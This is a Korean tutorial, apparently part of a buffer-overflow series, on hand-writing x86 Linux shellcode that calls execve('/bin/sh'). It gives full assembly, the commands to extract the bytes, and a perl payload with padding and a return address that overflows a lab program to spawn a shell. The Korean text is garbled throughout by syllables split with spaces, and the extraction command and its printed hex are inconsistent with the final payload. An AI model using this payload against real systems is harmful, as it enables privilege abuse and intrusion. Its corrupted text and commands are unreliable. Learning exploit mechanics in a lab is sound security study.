로 컬 셸 코드 를 어떻게 작성 합 니까?
4547 단어 깊이 들 어가 기 쉬 운 버퍼 오 버 공격
쓰기 전에 셸 코드 를 만 드 는 기술 을 소개 하 는 것 이 유용 합 니 다.
셸 코드 작성 방법
어떻게 0 바이트 를 피 합 니까?
셸 코드 는 보통 strcpy/sprintf 등 문자열 함수 로 인해 넘 치기 때문에 주 입 된 셸 코드 에 0 바이트 가 나타 나 지 않 습 니 다.그러나 실제 실행 되 는 코드 는 0 이 필요 합 니 다. 어떻게 처리 합 니까?
xor 명령 을 사용 하여 레지스터 를 0 또는 cld 로 제거 합 니 다. 예 를 들 어:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
cld ; 이 명령 은 ex 를 제거 합 니 다.
만약 에 eax 의 값 을 0x5 로 부여 해 야 한다 면 mov eax, 0x 05 로 직접 쓸 수 없습니다. 왜냐하면 기계 코드 mov eax, 0x 0000005 를 생 성하 고 0 으로 채 울 수 있 기 때 문 입 니 다.다음 기술 을 사용 할 수 있 습 니 다.
xor eax, eax
mov al, 0x05
X86 대 에 서 는 유 니 버 설 레지스터 에 대응 하 는 16 비트 와 8 개의 레지스터 를 제공 합 니 다. 상기 예 는 이 를 통 해 0 이 나타 나 지 않도록 하 는 것 입 니 다.
절대 주 소 를 어떻게 압 니까?
앞의 공격 예 에서 셸 코드 에 저 장 된 주 소 는 이미 알 고 있 지만, 서로 다른 공격 에서 그 주 소 는 변 할 수 있 습 니 다. 그러면 우 리 는 어떻게 셸 코드 를 작성 하여 이 변 화 된 주소 에 의존 하지 않 고 유 니 버 설 화 됩 니까?그러면 상대 적 으로 점프 명령 을 빌려 서 절대 주 소 를 가 져 와 야 합 니 다.
call 명령 은 상대 적 으로 뛰 지만 스 택 에 절대 주 소 를 누 른 다음 에 팝 업 하면 절대 주 소 를 얻 을 수 있 습 니 다. 예 를 들 어:
jmp short get_string
code:
pop eax ; 여기 팝 업 된 것 은 call 명령 스 택 의 다음 명령 의 주소, 즉 "hello World"문자열 의 주소 입 니 다.
get_string:
call code
data:
db 'hello world', 0x0a
push 명령 은 데 이 터 를 스 택 에 누 른 다음 에 esp 의 값 을 가 져 옵 니 다. 바로 스 택 데이터 의 절대 주소 입 니 다. 예 를 들 어:
push 0x4b435546 ; 0x 46, 0x 55, 0x 43, 0x4b 각각 FUCK 문자 의 ascii 코드
mov eax, esp ; "FUCK"문자열 의 첫 주 소 를 eax 에 부여 하고 나중에 시스템 호출 에 사용 할 수 있 습 니 다.
Linux 시스템 호출 약속
Linux 시스템 호출 은 int 0x 80 명령 으로 커 널 상태 에 빠 진 것 입 니 다. 시스템 호출 번 호 는 eax 를 통 해 전달 되 고 매개 변 수 는 각각 ebx, ecx, edx, edi, esi 로 전 달 됩 니 다.
셸 코드 작성
Linux 에서 셸 코드 를 작성 하면 gcc 를 사용 하여 어 셈 블 리 S 파일 을 컴 파일 하여 링크 를 만 들 수 있 습 니 다. 표준 실행 가능 한 ELF 파일 을 만 드 는 동시에 직접 테스트 할 수 있 지만 조금 불편 합 니 다.
기계 코드 추출 을 편리 하 게 하기 위해 nasm 컴 파일 러 를 사용 하여 빈 칸 파일 을 만 들 고 다른 형식 데이터 가 없 으 며 직접 추출 하기 편리 합 니 다.
우리 가 작성 할 로 컬 셸 코드 는 C 언어 논리 에 대응 합 니 다.
char *argv[2];
argv[0] = "/bin/sh";
argv[1] = NULL;
execve("/bin/sh", argv, NULL);
어 셈 블 리 언어 로 번역 하 는 과정 은 다음 과 같다.
"/bin/sh"문자열 을 스 택 에 누 르 고 문자열 문자열 문자열 '\0' 을 포함 합 니 다.
xor edx, edx
push edx
push 0x68732f2f
push 0x6e69622f
문자열/bin/sh 를 창고 에 넣 고 push edx 를 통 해 문자열 뒤의 숫자 가 0, 즉 문자열 끝 자 를 확보 합 니 다.스 택 은 높 은 주소 에서 낮은 주소 로 자라 기 때문에 문자열 꼬리 에서 눌 러 야 합 니 다.
mov ebx, esp
이 때 스 택 밑 은 문자 의 시작 주소 입 니 다. 이 명령 은 문자열 주 소 를 ebx (시스템 호출 의 첫 번 째 매개 변수) 에 부여 합 니 다.
내 려 오 는 것 은 argv [2] 배열 의 내용 을 스 택 에 올 리 는 것 입 니 다.
push edx ; argv [1] (값 은 NULL) 창고 에 갖다 놓 기
push ebx ; 스 택 에 argv [0] ("/bin/sh") 를 올 립 니 다.
이때 esp 가 가리 키 는 공간 은 방금 argv [2] 배열 구조의 시작 주소 에 대응 합 니 다.
argv 는 시스템 호출 두 번 째 매개 변수 이기 때문에 ecx 에 부여 해 야 합 니 다.
mov ecx, esp
xor eax, eax,
mov al, 0xb
이때 eax 는 11 (시스템 호출 번호) 이 고 ebx 는 '/bin/sh' 문자 기호 (첫 번 째 매개 변수) 이 며 ecx 는 argv 배열 (두 번 째 매개 변수) 이 고 ex 는 NULL (세 번 째 매개 변수) 이 며 int 0x 80 을 직접 사용 하여 시스템 호출 을 할 수 있 습 니 다.
int 0x80
상기 명령 을 한데 묶 으 면 다음 과 같은 어 셈 블 리 코드 입 니 다.
BITS 32
xor edx, edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push edx
push ebx
mov ecx, esp
xor eax, eax
mov al, 0xb
int 0x80
컴 파일 생 성 기계 코드
nasm -o shell2 shell2.s
생 성 된 셸 2 파일 은 빈 데이터 로 모두 기계 코드 이 며, 어떠한 형식 데이터 도 없 으 며, Linux 명령 을 사용 하여 bash 또는 perl 로 입력 할 수 있 는 셸 코드 로 변환 합 니 다.
$ od -t x1 shell2 | sed -e 's/[0-7]*//' | sed -e 's//\\x/g'\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd
그리고 이전 stack 1 프로그램 을 사용 하여 테스트 를 진행 합 니 다:
$ echo $$
2503
$ perl -e 'printf "A"x48 . "\x10\xd7\xff\xff". "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80"' > bad.txt;./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒1▒Rh//shh/bin▒▒RS▒▒1▒ ̀▒▒▒
$ echo $$
4398
설명: echo $$명령 은 현재 셸 (즉 bash 또는 sh) 의 pid 를 출력 합 니 다.
앞 뒤 가 두 번 다르다 는 것 은 셸 코드 가 실 행 된 후에 새 셸 을 열 었 다 는 것 을 의미한다. 즉, 셸 코드 가 성공 적 으로 실행 되 었 고 테스트 가 통과 되 었 다 는 것 이다.
작은 매듭
0 수치, 절대 주소, Linux 시스템 호출 약속 등 어 셈 블 리 언어 로 셸 코드 를 만 드 는 방법 을 소개 합 니 다. 마지막 으로 로 컬 셸 코드 를 성공 적 으로 만 들 었 습 니 다.
= = = = = = = = = = = = 본 시 리 즈 를 돌 이 켜 보면 = = = = = = = = = = = = = = = = = = = = = = = = = = = =